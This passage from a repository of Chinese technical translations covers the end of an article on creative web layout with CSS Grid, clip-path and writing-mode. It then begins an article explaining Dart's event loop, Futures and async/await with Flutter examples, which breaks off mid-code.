grid;\n  grid-template-columns: 100px 100px 100px 100px;\n  grid-column-gap: 20px;\n}\n```\n\n[![Screenshot of Firefox's grid inspector that shows four columns.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/9287f25c-75f8-456b-9f22-b3190802d543/future-web-design-grid-four.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/9287f25c-75f8-456b-9f22-b3190802d543/future-web-design-grid-four.png)\n\n你可以通过在 `grid-template-columns` 中指定四次列宽来创建四个网格列。\n\n如果你想要一个 12 列的网格，你只需要重复 `100px` 12 次。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 100px 100px 100px 100px 100px 100px 100px 100px 100px 100px 100px 100px;\n  grid-column-gap: 20px;\n}\n```\n\n[![Screenshot of Firefox's grid inspector that shows twelve columns.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/61ab598a-9c0d-4d81-a624-3fbca4dfb6b2/future-web-design-grid-twelve.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/61ab598a-9c0d-4d81-a624-3fbca4dfb6b2/future-web-design-grid-twelve.png) \n\n使用 CSS Grid 创建 12 列网格。\n\n如你所见，这段代码并不优雅，但我们（暂时还）并不关心优化代码质量，我们优先考虑设计方面的。对于任何人来说，CSS Grid 都很容易，即使是没有编码知识的设计师，也可以在网络上创建网格。\n\n如果你想要创建具有不同宽度的网格列，只需在 `grid-template-columns` 声明中指定所需的宽度，就搞定了。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 100px 162px 262px;\n  grid-column-gap: 20px;\n}\n```\n\n[![Screenshot of Firefox's grid inspector that shows three colums of different width.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6be83c78-9646-4c17-8d74-a3ffa55c13e1/future-web-design-grid-asym.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6be83c78-9646-4c17-8d74-a3ffa55c13e1/future-web-design-grid-asym.png) \n\n创建不同宽度的列也是小菜一碟。\n\n#### 使网格具有响应性\n\n在关于 CSS 网格的讨论中，没有不讨论其响应性的。有几种方法可以使 CSS Grid 具有响应性。一种方式（可能是最流行的方式）是使用 `fr` 单位。另一种方法是更改媒体查询的列数。\n\n`fr` 是代表一个片段的灵活长度单位。当你使用 `fr` 单位时，浏览器会分割开放空间并根据 `fr` 倍数将区域分配给列。这意味着要创建四个相同大小的列，你需要写四次 `1fr`。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr 1fr;\n  grid-column-gap: 20px;\n}\n```\n\n[![GIF shows four columns created with the fr unit. These columns resize according to the available white space](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f12ee9f9-e577-4e2a-8173-f8c6fddff213/future-web-design-grid-fr.gif)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f12ee9f9-e577-4e2a-8173-f8c6fddff213/future-web-design-grid-fr.gif)\n\n用 `fr` 单位创建的网格遵守网格的最大宽度。（[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f12ee9f9-e577-4e2a-8173-f8c6fddff213/future-web-design-grid-fr.gif)）\n\n**让我们做一些计算来理解为什么以上代码创建四个相等大小的列**。\n\n首先，我们假设网格的总可用空间为 `1260px`。\n\n在为每列分配宽度之前，CSS Grid 需要知道有多少可用空间（或剩余空间）。在这里，它从 `1260px` 减去 `grip-gap` 声明。由于每个间隙 `20px`，我们剩下 `1200px` 的可用空间。`（1260 - （20 * 3）= 1200）`。\n\n接下来，将 `fr` 倍数考虑进来。在这个例子里面，我们有四个 `1fr` 倍数，所以浏览器将 `1200px` 除以四。每列是 300 px。这就是为什么我们得到四个相等的列。\n\n**但是，使用 `fr` 单元创建的网格并不总是相等的**！\n\n当你使用 `fr` 时，你需要知道每个 `fr` 单位是可用（或剩余）空间的一个小片段。\n\n如果你的元素比使用 `fr` 单位创建的任何列都要宽，则需要以不同的方式进行计算。\n\n例如，下面例子中的网格具有一个大列和和三个小（但相等的）列，即使它是使用 `grid-template-columns: 1fr 1fr 1fr 1fr` 创建的。\n\n请参阅 [CodePen](https://codepen.io) 上 Zell Liew（[@zellwk](https://codepen.io/zellwk)）的 [CSS Grid `fr` unit demo 1](https://codepen.io/zellwk/pen/vjWQep/)。\n\n将 `1200px` 分成四部分并为每个 `1fr` 列分配 `300px` 的区域后，浏览器意识到第一个网格项包含 `1000px` 的图像。由于 `1000px` 大于 `300px`，浏览器会选择将 `1000px` 分配给第一列。\n\n这意味着，我们需要重新计算剩余空间。\n\n新的剩余空间是 `1260px - 1000px - 20px * 3 = 200px`；然后根据剩余部分的数量将这 `200px` 除以三。每个部分是 `66px`。我希望这能够解释为什么 `fr` 单位不总是创建等宽列。\n\n如果你希望 `fr` 单位每次都创建等宽列，则需要使用 `minmax(0, 1fr)` 去强制指定它。对于此特定示例，你还需要将图像的 `max-width` 属性设置为 100%。\n\n请参阅 [CodePen](https://codepen.io) 上 Zell Liew（[@zellwk](https://codepen.io/zellwk)）的 [CSS Grid `fr` unit demo 2](https://codepen.io/zellwk/pen/mxyXOm/)\n\n**注意**：Rachel Andrew 撰写了一篇关于不同 CSS 值（min-content、max-content 和 fr 等）如何影响内容大小的[文章](https://www.smashingmagazine.com/2018/01/understanding-sizing-css-layout/)。这篇文章值得一读！ \n\n#### 不等宽网格\n\n只需更改 fr 倍数，就可以创建宽度不等的网格。下面是一个遵循黄金比例的网格，其中第二列是第一列的 1.618 倍，第三列是第二列的 1.618 倍。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 1fr 1.618fr 2.618fr;\n  grid-column-gap: 1em;\n}\n```\n\n[![GIF shows a three-column grid created with the golden ratio. When the browser is resized, the columns resize accordingly.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/18f3c1ee-74f1-4bdc-b747-1019285f671b/future-web-design-grid-fr-asym.gif)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/18f3c1ee-74f1-4bdc-b747-1019285f671b/future-web-design-grid-fr-asym.gif) \n\n用黄金比例创建的三列网格。\n\n#### 在不同的断点改变网格\n\n如果你想要在不同的断点处更改网格，则可以在媒体查询中声明新的网格。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 1fr 1fr;\n  grid-column-gap: 1em;\n}\n\n@media (min-width: 30em) {\n  .grid {\n    grid-template-columns: 1fr 1fr 1fr 1fr;\n  }\n}\n```\n\n使用 CSS Grid 创建网格很难吗？要是产品经理知道是这么简单的话，设计师和开发人员早就被干掉了。\n\n#### 基于高度的网格\n\n之前根据网站的高度来制作网格是不可能的，因为我们没有办法获取视口的高度。现在，通过视口单元（viewport units）、CSS Calc 和 CSS Grid，我们甚至可以根据视口高度制作网格。\n\n在下面的演示中，我根据浏览器的高度创建了网格方形。\n\n请参阅 [CodePen](https://codepen.io) 上 Zell Liew（[@zellwk](https://codepen.io/zellwk)）的 [Height based grid example](https://codepen.io/zellwk/pen/qoEYaL/)。\n\nJen Simmons 有一个很棒的视频，讲述了[四维空间设计](https://www.youtube.com/watch?v=dQHtT47eH0M&feature=youtu.be) —— 使用 CSS Grid。我强烈建议你去看看。\n\n#### 网格项的放置\n\n在过去，定位网格项是一种很大的痛苦，因为你必须计算 `margin-left` 属性。\n\n现在，使用 CSS Grid，你可以直接使用 CSS 放置网格项而无需额外的计算。 \n\n```\n.grid-item {\n  grid-column: 2; /* 放在第二列 */\n}\n```\n\n[![Screenshot of a grid item placed on the second column](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bf790516-2d0d-4078-aac0-6a1d9357a74b/future-web-design-grid-placement.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bf790516-2d0d-4078-aac0-6a1d9357a74b/future-web-design-grid-placement.png) \n\n在第二列放置一个项目。\n\n你甚至可以通过 `span` 关键字告诉网格项应该占用多少列。\n\n```\n.grid-item {\n  /* 放在第二列，跨越 2 列 */\n  grid-column: 2 / span 2;\n}\n```\n\n[![Screenshot of a grid item that's placed on the second column. It spans two columns](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a66e3449-3bd9-40ff-8fe2-6116c0939d77/future-web-design-grid-placement-span.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a66e3449-3bd9-40ff-8fe2-6116c0939d77/future-web-design-grid-placement-span.png) \n\n你可以使用 `span` 关键字来告诉网格项应该占用的列数（或行数）。\n\n#### 启示\n\nCSS Grid 能够使你能够轻松地布置事物，以便你可以快速地创建许多同一网站的不同变体。一个最好的例子是 [Lynn Fisher 的个人主页](https://lynnandtonic.com)。\n\n如果你想了解更多关于 CSS Grid 可以做什么的内容，请查看 [Jen Simmon 的实验室](http://labs.jensimmons.com)，在那里她将探索如何使用 CSS Grid 和其他工具创建不同类型的布局。\n\n要了解关于 CSS Grid 的更多信息，请查看以下资源：\n\n*   [Master CSS Grid](http://mastercssgrid.com)，Rachel Andrew 和 Jen Simmons\n    视频教程\n*   [Layout Land](https://www.youtube.com/channel/UC7TizprGknbDalbHplROtag)，Jen Simmons\n    关于布局的一系列视频\n*   [CSS layout workshop](https://thecssworkshop.com)，Rachel Andrew\n    一个 CSS 布局课程\n*   [Learn CSS Grid](https://learncssgrid.com)，Jonathan Suh\n    一个关于 CSS Grid 的免费课程\n*   [Grid critters](https://geddski.teachable.com/p/gridcritters)，Dave Geddes\n    一种学习 CSS Grid 的有趣方法\n\n### 使用不规则形状进行设计\n\n我们习惯于在网页上创建矩形布局，因为 CSS 盒子模型是一个矩形。除了矩形之外我们还找到了创建简单形状的方法，例如三角形和圆形。\n\n今天，我们不需要因为创建不规则形状过于麻烦而止步不前。使用 CSS 形状和 `clip-path`，我们可以毫不费力地创建不规则的形状。\n\n例如，[Aysha Anggraini](https://twitter.com/RenettaRenula) 尝试使用 CSS Grid 和 `clip path` 创建一个 comic-strip-inspired 布局。\n\n```\n<div class=\"wrapper\">\n  <div class=\"news-item hero-item\">\n  </div>\n  <div class=\"news-item standard-item\">\n  </div>\n  <div class=\"news-item standard-item\">\n  </div>\n  <div class=\"news-item standard-item\">\n  </div>\n</div>\n```\n\n```\n.wrapper {\n  display: grid;\n  grid-gap: 10px;\n  grid-template-columns: repeat(2, 1fr);\n  grid-auto-rows: 1fr;\n  max-width: 1440px;\n  font-size: 0;\n}\n\n.hero-item,\n.standard-item {\n  background-position: center center;\n  background-repeat: no-repeat;\n  background-size: cover;\n}\n\n.news-item {\n  display: inline-block;\n  min-height: 400px;\n  width: 50%;\n}\n\n.hero-item {\n  background-image: url('https://s3-us-west-2.amazonaws.com/s.cdpn.io/53819/divinity-ori-sin.jpg');\n}\n\n.standard-item:nth-child(2) {\n  background-image: url(\"https://s3-us-west-2.amazonaws.com/s.cdpn.io/53819/re7-chris-large.jpg\");\n}\n\n.standard-item:nth-child(3) {\n  background-image: url(\"https://s3-us-west-2.amazonaws.com/s.cdpn.io/53819/bioshock-large.jpg\");\n}\n\n.standard-item:nth-child(4) {\n  background-image: url(\"https://s3-us-west-2.amazonaws.com/s.cdpn.io/53819/dishonored-large.jpg\");\n}\n\n@supports (display: grid) {\n  .news-item {\n    width: auto;\n    min-height: 0;\n  }\n  \n  .hero-item {\n    grid-column: 1 / span 2;\n    grid-row: 1 / 50;\n    -webkit-clip-path: polygon(0 0, 100% 0, 100% calc(100% - 75px), 0 100%);\n    clip-path: polygon(0 0, 100% 0, 100% calc(100% - 75px), 0 100%);\n  }\n\n  .standard-item:nth-child(2) {\n    grid-column: 1 / span 1;\n    grid-row: 50 / 100;\n    -webkit-clip-path: polygon(0 14%, 0 86%, 90% 81%, 100% 6%);\n    clip-path: polygon(0 14%, 0 86%, 90% 81%, 100% 6%);\n    margin-top: -73px;\n  }\n\n  .standard-item:nth-child(3) {\n    grid-column: 2 / span 1;\n    grid-row: 50 / 100;\n    -webkit-clip-path: polygon(13% 6%, 4% 84%, 100% 100%, 100% 0%);\n    clip-path: polygon(13% 6%, 4% 84%, 100% 100%, 100% 0%);\n    margin-top: -73px;\n    margin-left: -15%;\n    margin-bottom: 18px;\n  }\n\n  .standard-item:nth-child(4) {\n    grid-column: 1 / span 2;\n    grid-row: 100 / 150;\n    -webkit-clip-path: polygon(45% 0, 100% 15%, 100% 100%, 0 100%, 0 5%);\n    clip-path: polygon(45% 0, 100% 15%, 100% 100%, 0 100%, 0 5%);\n    margin-top: -107px;\n  }\n}\n```\n\n请参阅 [CodePen](https://codepen.io) 上 Aysha Anggraini（[@rrenula](https://codepen.io/rrenula)）的 [Comic-book-style layout with CSS Grid](https://codepen.io/rrenula/pen/LzLXYJ/)。\n\n[Hui Jing](https://twitter.com/hj_chen) 解释了如何使用 CSS 形状，[使文本能够沿着碧昂丝的曲线流动](https://www.chenhuijing.com/blog/why-you-should-be-excited-about-css-shapes/)。\n\n[![An image of Huijing's article, where text flows around Beyoncé.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e2b60894-b7dd-41ac-94dd-b87a6bdf3cbc/future-web-design-beyonce.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e2b60894-b7dd-41ac-94dd-b87a6bdf3cbc/future-web-design-beyonce.png) \n\n如果你愿意，文本可以在碧昂丝周围流动！\n\n如果你想深入挖掘，[Sara Soueidan](https://twitter.com/SaraSoueidan) 的文章可以帮助你[创建非矩形布局](https://www.sarasoueidan.com/blog/css-shapes/)。\n\nCSS 形状和 `clip-path` 为你提供无限的可能性来创建属于你设计的且独一无二的自定义形状。不幸的是，在语法上，CSS 形状和 `clip-path` 并不像 CSS Grid 那么直观。 幸运的是，我们有诸如 [Clippy](https://bennettfeely.com/clippy/) 和 [Firefox’s Shape Path Editor](https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes) 来帮助我们创建我们想要的形状。\n\n[![Image of Clippy, a tool to help you create custom CSS shapes](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/1c101607-4aac-4fa9-a968-62a33133331c/future-web-design-clippy.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/1c101607-4aac-4fa9-a968-62a33133331c/future-web-design-clippy.png) \n\nClippy 可帮助你使用 `clip-path` 轻松创建自定义形状。 \n\n###  使用 CSS 的 `writing-mode` 切换文本流\n\n我们习惯于在网络上看到从左到右的文字排版，因为网络一开始主要是为讲英语的人们制作的。\n\n但有些语言不是朝这个方向进行文字排版的。例如，中文可以自上而下阅读，也可以从右到左阅读。\n\nCSS 的 `writing-mode` 可以使文本按照每种语言原生的方向流动。Hui Jing 尝试了一种中国式布局，在一个名为 [Penang Hokkien](http://penang-hokkien.gitlab.io) 的网站上自上而下，从右到左流动。你可以在她的文章“[The One About Home](https://www.chenhuijing.com/blog/the-one-about-home/#🏀)”中阅读更多关于她的实验。\n\n除了文章之外，Hui Jing 在排版和 `writing-mode` 方面进行了精彩的演讲，“[When East Meets West: Web Typography and How It Can Inspire Modern Layouts](https://www.youtube.com/watch?v=Tqxo269aORM)”。我强烈建议你观看它。\n\n[![An image of the Penang Hokken, showcasing text that reads from top to bottom and right to left.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2f69df2b-18d2-4da4-8e44-22226ef0becd/future-web-design-penang-hokkien.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2f69df2b-18d2-4da4-8e44-22226ef0becd/future-web-design-penang-hokkien.png) \n\n槟城福建人（Penang Hokkien）表示中文文本可以从上到下，从右到左书写。\n\n即使你不设计像中文那样语言，也不意味着你无法将 CSS 的 `writing-mode` 应用于英文。早在2016年，当我创建 [Devfest.asia](https://2016.devfest.asia/community/) 时，我灵光一闪，选择使用 `writing-mode` 旋转文字。\n\n[![An image that shows how I rotated text in a design I created for Devfest.asia](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/70acafa4-5454-4257-bbdd-3f5fe18d3696/future-web-design-devfest.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/70acafa4-5454-4257-bbdd-3f5fe18d3696/future-web-design-devfest.png) \n\n标签是使用 `writing-mode` 和转换创建的。\n\n[Jen Simmons 的实验室](http://labs.jensimmons.com) 也包含许多关于 `writing-mode` 的实验。我强烈建议你也看一下。\n\n[![An image from Jen Simmon's lab that shows a design from Jan Tschichold.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/4f024681-c86e-4009-89aa-1ff379e71e8a/future-web-design-lab.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/4f024681-c86e-4009-89aa-1ff379e71e8a/future-web-design-lab.png) \n\nJen Simmon 实验室的图片显示了 Jan Tschichold。\n\n### 努力和创造力能使人走得更远\n\n尽管新的 CSS 工具很有帮助，但你并不是一定需要它们中的任何一个才能创建独特的网站。一点点聪明才智和一些努力都需要走很长的路。\n\n例如，在 [Super Silly Hackathon](https://supersillyhackathon.sg) 中，[Cheeaun](https://twitter.com/cheeaun) 将整个网站旋转 -15 度，当你在阅读网站时，你会看起来像个傻子。\n\n[![A screenshot from Super Silly Hackthon, with text slightly rotated to the left](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e308a830-ba6a-431c-8e5d-c4128cad965a/future-web-design-supersilly.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e308a830-ba6a-431c-8e5d-c4128cad965a/future-web-design-supersilly.png) \n\n如果你想进入 Super Silly Hackathon，Cheeaun 会确保你看起来很傻。\n\n[Darin Senneff](https://twitter.com/dsenneff) 制作了一个带有一些三角和 GSAP 的[动画登录头像](https://codepen.io/dsenneff/pen/QajVxO)。看看这只猿是多么的可爱，以及当你的鼠标光标位于密码框时它是如何遮住眼睛的。卡哇伊！\n\n![](https://i.loli.net/2018/05/23/5b0528b7e755a.png)\n\n当我为我的课程 [Learn JavaScript](https://learnjavascript.today) 创建销售页面时，我添加了让 JavaScript 学习者感到宾至如归的元素。 \n\n[![Image where I used JavaScript elements in the design for Learn JavaScript.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6b66f918-dc6f-4da1-870e-aa6b5ea8029c/future-web-design-learnjavascript.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6b66f918-dc6f-4da1-870e-aa6b5ea8029c/future-web-design-learnjavascript.png) \n\n我使用 `function` 语法来创建课程包，而不是普通地编写有关课程包的信息。\n\n### 总结\n\n独特的网页设计不仅仅是布局设计，而是关于设计如何与内容整合。只需付出一点努力和创造性，我们所有人都可以创造独一无二的设计并广而告之，如今我们可以使用的工具让我们的工作更轻松。\n\n问题是，你是否足够在意制作出独一无二的设计呢？我希望你是。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/futures-isolates-event-loop.md",
    "content": "> * 原文地址：[Futures - Isolates - Event Loop](https://www.didierboelens.com/2019/01/futures---isolates---event-loop/)\n> * 原文作者：[www.didierboelens.com](https://www.didierboelens.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/futures-isolates-event-loop.md](https://github.com/xitu/gold-miner/blob/master/TODO1/futures-isolates-event-loop.md)\n> * 译者：[nanjingboy](https://github.com/nanjingboy)\n> * 校对者：[sunui](https://github.com/sunui), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# Flutter 异步编程：Future、Isolate 和事件循环\n\n本文介绍了 Flutter 中不同的代码执行模式：单线程、多线程、同步和异步。\n\n难度：**中级**\n\n## 概要\n\n我最近收到了一些与 **Future**、**async**、**await**、**Isolate** 以及并行执行概念相关的一些问题。\n\n由于这些问题，一些人在处理代码的执行顺序方面遇到了麻烦。\n\n我认为通过一篇文章来解释**异步**、**并行**处理这些概念并消除其中任何歧义是非常有用的。\n\n* * *\n\n## Dart 是一种单线程语言\n\n首先，大家需要牢记，**Dart** 是**单线程**的并且 **Flutter** 依赖于 **Dart**。\n\n> **重点**\n>\n> **Dart 同一时刻只执行一个操作，其他操作在该操作之后执行**，这意味着只要一个操作正在执行，它就**不会**被其他 **Dart** 代码中断。\n\n也就是说，如果你考虑**纯粹的同步**方法，那么在它完成之前，后者将是**唯一**要执行的方法。\n\n```dart\nvoid myBigLoop(){\n    for (int i = 0; i < 1000000; i++){\n        _doSomethingSynchronously();\n    }\n}\n```\n\n在上面的例子中，**myBigLoop()** 方法在执行完成前永远不会被中断。因此，如果该方法需要一些时间，那么在整个方法执行期间应用将会被**阻塞**。\n\n* * *\n\n## **Dart** 执行模型\n\n那么在幕后，**Dart** 是如何管理操作序列的执行的呢？\n\n为了回答这个问题，我们需要看一下 **Dart** 的代码序列器（**事件循环**）。\n\n当你启动一个 **Flutter**（或任何 **Dart**）应用时，将创建并启动一个新的**线程**进程（在 **Dart** 中为 「**Isolate**」）。该**线程**将是你在整个应用中唯一需要关注的。\n\n所以，此线程创建后，Dart 会自动：\n\n1.  初始化 2 个 FIFO（先进先出）队列（「**MicroTask**」和 「**Event**」）；\n2.  并且当该方法执行完成后，执行 **main()** 方法，\n3.  启动**事件循环**。\n\n在该线程的整个生命周期中，一个被称为**事件循环**的**单一**且隐藏的进程将决定你代码的执行方式及顺序（取决于 **MicroTask** 和 **Event** 队列）。\n\n**事件循环**是一种**无限**循环（由一个内部时钟控制），在每个**时钟周期内**，**如果没有其他 Dart 代码执行**，则执行以下操作：\n\n```dart\nvoid eventLoop(){\n    while (microTaskQueue.isNotEmpty){\n        fetchFirstMicroTaskFromQueue();\n        executeThisMicroTask();\n        return;\n    }\n\n    if (eventQueue.isNotEmpty){\n        fetchFirstEventFromQueue();\n        executeThisEventRelatedCode();\n    }\n}\n```\n\n正如我们看到的，**MicroTask** 队列优先于 **Event** 队列，那这 2 个队列的作用是什么呢？\n\n### MicroTask 队列\n\n**MicroTask** 队列用于**非常简短**且需要**异步**执行的内部动作，这些动作需要在其他事情完成之后并在将执行权送还给 **Event** 队列**之前**运行。\n\n作为 **MicroTask** 的一个例子，你可以设想必须在资源关闭后立即释放它。由于关闭过程可能需要一些时间才能完成，你可以按照以下方式编写代码：\n\n```dart\nMyResource myResource;\n\n...\n\nvoid closeAndRelease() {\n    scheduleMicroTask(_dispose);\n    _close();\n}\n\nvoid _close(){\n    // 代码以同步的方式运行\n    // 以关闭资源\n    ...\n}\n\nvoid _dispose(){\n    // 代码在\n    // _close() 方法\n    // 完成后执行\n}\n```\n\n这是大多数时候你不必使用的东西。比如，在整个 **Flutter** 源代码中 scheduleMicroTask() 方法仅被引用了 7 次。\n\n最好优先考虑使用 **Event** 队列。\n\n### Event 队列\n\n**Event** 队列适用于以下参考模型\n\n*   外部事件如\n    *   I/O；\n    *   手势；\n    *   绘图；\n    *   计时器；\n    *   流；\n    *   ……\n*   futures\n\n事实上，每次**外部**事件被触发时，要执行的代码都会被 **Event** 队列所引用。\n\n一旦没有任何 **micro task** 运行，**事件循环**将考虑 **Event** 队列中的第一项并执行它。\n\n值得注意的是，**Future** 操作也通过 **Event** 队列处理。\n\n* * *\n\n### Future\n\n**Future** 是一个**异步**执行并且在未来的某一个时刻完成（或失败）的**任务**。\n\n当你实例化一个 **Future** 时：\n\n*   该 **Future** 的一个实例被创建并记录在由 **Dart** 管理的内部数组中；\n*   需要由此 **Future** 执行的代码直接推送到 **Event** 队列中去；\n*   该 **future 实例** 返回一个状态（= incomplete）；\n*   如果存在下一个同步代码，执行它（**非 Future 的执行代码**）\n\n只要**事件循环**从 **Event** 循环中获取它，被 **Future** 引用的代码将像其他任何 **Event** 一样执行。\n\n当该代码将被执行并将完成（或失败）时，**then()** 或 **catchError()** 方法将直接被触发。\n\n为了说明这一点，我们来看下面的例子：\n\n```dart\nvoid main(){\n    print('Before the Future');\n    Future((){\n        print('Running the Future');\n    }).then((_){\n        print('Future is complete');\n    });\n    print('After the Future');\n}\n```\n\n如果我们运行该代码，输出将如下所示：\n\n```\nBefore the Future\nAfter the Future\nRunning the Future\nFuture is complete\n```\n\n这是完全正确的，因为执行流程如下：\n\n1.  print(‘Before the Future’)\n2.  将 **(){print(‘Running the Future’);}** 添加到 Event 队列；\n3.  print(‘After the Future’)\n4.  **事件循环**获取（在第二步引用的）代码并执行它\n5.  当代码执行时，它会查找 **then()** 语句并执行它\n\n需要记住一些非常重要的事情：\n\n> **Future** **并非**并行执行，而是遵循**事件循环**处理事件的顺序规则执行。\n\n* * *\n\n### Async 方法\n\n当你使用 **async** 关键字作为方法声明的后缀时，**Dart** 会将其理解为：\n\n*   该方法的返回值是一个 **Future**；\n*   它**同步**执行该方法的代码直到**第一个 await 关键字**，然后它暂停该方法其他部分的执行；\n*   一旦由 **await** 关键字引用的 **Future** 执行完成，下一行代码将立即执行。\n\n了解这一点是**非常重要**的，因为很多开发者认为 **await** 暂停了整个流程**直到**它执行完成，但事实**并非如此**。他们忘记了**事件循环**的运作模式……\n\n为了更好地进行说明，让我们通过以下示例并尝试指出其运行的结果。\n\n```dart\nvoid main() async {\n  methodA();\n  await methodB();\n  await methodC('main');\n  methodD();\n}\n\nmethodA(){\n  print('A');\n}\n\nmethodB() async {\n  print('B start');\n  await methodC('B');\n  print('B end');\n}\n\nmethodC(String from) async {\n  print('C start from $from');\n\n  Future((){                // <== 该代码将在未来的某个时间段执行\n    print('C running Future from $from');\n  }).then((_){\n    print('C end of Future from $from');\n  });\n\n  print('C end from $from');\n}\n\nmethodD(){\n  print('D');\n}\n```\n\n正确的顺序是：\n\n1.  A\n2.  B start\n3.  C start from B\n4.  C end from B\n5.  B end\n6.  C start from main\n7.  C end from main\n8.  D\n9.  C running Future from B\n10.  C end of Future from B\n11.  C running Future from main\n12.  C end of Future from main\n\n现在，让我们认为上述代码中的 **methodC()** 为对服务端的调用，这可能需要不均匀的时间来进行响应。我相信可以很明确地说，预测确切的执行流程可能变得非常困难。\n\n如果你最初希望示例代码中仅在所有代码末尾执行 **methodD()** ，那么你应该按照以下方式编写代码：\n\n```dart\nvoid main() async {\n  methodA();\n  await methodB();\n  await methodC('main');\n  methodD();\n}\n\nmethodA(){\n  print('A');\n}\n\nmethodB() async {\n  print('B start');\n  await methodC('B');\n  print('B end');\n}\n\nmethodC(String from) async {\n  print('C start from $from');\n\n  await Future((){                  // <== 在此处进行修改\n    print('C running Future from $from');\n  }).then((_){\n    print('C end of Future from $from');\n  });\n  print('C end from $from');\n}\n\nmethodD(){\n  print('D');\n}\n```\n\n输出序列为：\n\n1.  A\n2.  B start\n3.  C start from B\n4.  C running Future from B\n5.  C end of Future from B\n6.  C end from B\n7.  B end\n8.  C start from main\n9.  C running Future from main\n10.  C end of Future from main\n11.  C end from main\n12.  D\n\n事实是通过在 **methodC()** 中定义 **Future** 的地方简单地添加 **await** 会改变整个行为。\n\n另外，需特别谨记：\n\n> **async** **并非**并行执行，也是遵循**事件循环**处理事件的顺序规则执行。\n\n我想向你演示的最后一个例子如下。\n运行 **method1** 和 **method2** 的输出是什么？它们会是一样的吗？\n\n```dart\nvoid method1(){\n  List<String> myArray = 